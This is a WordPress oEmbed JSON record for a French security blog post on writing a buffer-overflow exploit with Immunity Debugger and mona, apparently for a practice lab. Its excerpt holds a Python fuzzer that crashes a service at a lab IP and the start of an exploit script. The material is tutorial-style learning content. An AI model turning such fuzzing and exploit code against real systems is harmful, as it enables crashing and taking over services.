{"version":"1.0","provider_name":"S\u00e9curiser votre site","provider_url":"https:\/\/www.searchevolution.com\/security","author_name":"Germain","author_url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/","title":"\u00c9criture de l'exploit d'un bufferflow (immunity debugger et mona) - S\u00e9curiser votre site","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"pkhg4wjZvD\"><a href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/\">\u00c9criture de l&#8217;exploit d&#8217;un bufferflow (immunity debugger et mona)<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/25\/ecriture-de-lexploit-dun-bufferflow\/embed\/#?secret=pkhg4wjZvD\" width=\"600\" height=\"338\" title=\"&laquo; \u00c9criture de l&#8217;exploit d&#8217;un bufferflow (immunity debugger et mona) &raquo; &#8212; S\u00e9curiser votre site\" data-secret=\"pkhg4wjZvD\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script type=\"text\/javascript\">\n\/* <![CDATA[ *\/\n\/*! This file is auto-generated *\/\n!function(d,l){\"use strict\";l.querySelector&&d.addEventListener&&\"undefined\"!=typeof URL&&(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&&!\/[^a-zA-Z0-9]\/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret=\"'+t.secret+'\"]'),o=l.querySelectorAll('blockquote[data-secret=\"'+t.secret+'\"]'),c=new RegExp(\"^https?:$\",\"i\"),i=0;i<o.length;i++)o[i].style.display=\"none\";for(i=0;i<a.length;i++)s=a[i],e.source===s.contentWindow&&(s.removeAttribute(\"style\"),\"height\"===t.message?(1e3<(r=parseInt(t.value,10))?r=1e3:~~r<200&&(r=200),s.height=r):\"link\"===t.message&&(r=new URL(s.getAttribute(\"src\")),n=new URL(t.value),c.test(n.protocol))&&n.host===r.host&&l.activeElement===s&&(d.top.location.href=t.value))}},d.addEventListener(\"message\",d.wp.receiveEmbedMessage,!1),l.addEventListener(\"DOMContentLoaded\",function(){for(var e,t,s=l.querySelectorAll(\"iframe.wp-embedded-content\"),r=0;r<s.length;r++)(t=(e=s[r]).getAttribute(\"data-secret\"))||(t=Math.random().toString(36).substring(2,12),e.src+=\"#?secret=\"+t,e.setAttribute(\"data-secret\",t)),e.contentWindow.postMessage({message:\"ready\",secret:t},\"*\")},!1)))}(window,document);\n\/* ]]> *\/\n<\/script>\n","description":"On va utiliser immunity debugger avec le plugin mona !mona config -set workingfolder c:mona%p Fuzzer (on essaie de crasher l&#8217;application en augmentant gradullement la taille du buffer) #!\/usr\/bin\/env python3 import socket, time, sys ip = &quot;10.10.95.149&quot; port = 1337 timeout = 5 prefix = &quot;OVERFLOW1 &quot; string = prefix + &quot;A&quot; * 100 while True: &nbsp;&nbsp;try: &nbsp;&nbsp;&nbsp;&nbsp;with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.settimeout(timeout) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.connect((ip, port)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.recv(1024) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;Fuzzing with {} bytes&quot;.format(len(string) - len(prefix))) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.send(bytes(string, &quot;latin-1&quot;)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.recv(1024) &nbsp;&nbsp;except: &nbsp;&nbsp;&nbsp;&nbsp;print(&quot;Fuzzing crashed at {} bytes&quot;.format(len(string) - len(prefix))) &nbsp;&nbsp;&nbsp;&nbsp;sys.exit(0) &nbsp;&nbsp;string += 100 * &quot;A&quot; &nbsp;&nbsp;time.sleep(1) On peut commencer \u00e0 \u00e9crire l&#8217;exploit import socket ip = &quot;10.10.95.149&quot;"}